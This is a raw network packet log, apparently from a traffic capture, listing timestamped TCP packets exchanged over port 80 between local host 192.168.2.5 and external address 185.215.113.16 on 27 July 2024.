Jul 27, 2024 12:01:21.561474085 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561474085 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561501026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561520100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561533928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561563969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561572075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561676979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561709881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561743975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561752081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561752081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561777115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561804056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561821938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561846972 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561866045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561878920 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561898947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.561944008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.561944008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562084913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562129974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562134027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562163115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562196016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562205076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562205076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562230110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562262058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562273026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562273026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562298059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562331915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.562340021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562340021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.562593937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.568749905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.568778992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.568802118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.568866014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.568907022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.568939924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.568974972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.568984032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.568984032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569008112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569030046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569058895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569066048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569092035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569103956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569127083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569135904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569159031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569179058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569209099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569242001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569258928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569258928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569277048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569287062 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569318056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569365025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569397926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569417000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569430113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569442034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569462061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569487095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569494963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569500923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569541931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569546938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569581032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569597960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569613934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569623947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569710016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569722891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569742918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569758892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569777012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569808960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569827080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569827080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569844961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.569864988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.569938898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570045948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570077896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570101976 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570111036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570128918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570138931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570162058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570173979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570208073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570218086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570218086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570240974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570283890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570283890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570393085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570426941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570449114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570460081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570480108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570492983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570525885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570535898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570535898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570559978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570595026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570600986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570600986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570664883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.570704937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.570756912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.571465969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.571520090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.571531057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.571566105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572087049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572120905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572154999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572166920 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572166920 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572206974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572208881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572242022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572263956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572276115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572288036 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572309971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572326899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572341919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572375059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572391987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572391987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572422028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572432995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572455883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572493076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572493076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572521925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572556019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572570086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572588921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572621107 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572623014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572633982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572658062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572690010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572695971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572695971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572722912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572756052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572776079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572776079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572792053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572819948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572830915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572830915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572864056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572873116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572899103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572927952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572937965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572937965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.572964907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.572998047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.573005915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.573005915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.573030949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.573056936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.573064089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.573085070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.573096037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.573123932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.573136091 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621591091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621670961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621673107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621727943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621735096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621762037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621774912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621797085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621805906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621831894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621846914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621869087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.621881962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.621932983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647228956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647272110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647315025 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647330999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647367001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647391081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647391081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647401094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647445917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647445917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647454977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647489071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647527933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.647536039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647536039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.647583008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648041964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648076057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648099899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648112059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648132086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648144960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648189068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648189068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648195982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648231983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648245096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648287058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648344994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648377895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648403883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648413897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648458958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648458958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648550987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648585081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648593903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648618937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648638964 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648654938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648699045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648699045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648876905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648910046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.648953915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.648953915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649049044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649085999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649102926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649120092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649130106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649154902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649167061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649188995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649202108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649244070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649245024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649272919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649293900 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649306059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649333954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649339914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649377108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649377108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649379015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649411917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649446011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649449110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649450064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649480104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.649503946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.649580956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.655810118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.655844927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.655879021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.655901909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.655919075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.655919075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.655952930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.655987024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656018019 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656021118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656054974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656061888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656061888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656105995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656107903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656141043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656151056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656173944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656218052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656218052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656286955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656322002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656358957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656364918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656364918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656403065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656454086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656502008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656510115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656543970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656558990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656579018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656604052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656618118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656631947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656667948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656701088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656709909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656709909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656735897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656749964 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656773090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656785965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656809092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.656809092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656929970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.656977892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657011032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657044888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657052994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657052994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657078981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657099009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657130957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657162905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657175064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657175064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657197952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657231092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657239914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657239914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657264948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657278061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.657301903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657335997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.657346010 CEST	49705	80	192.168.2.5	185.215.113.16
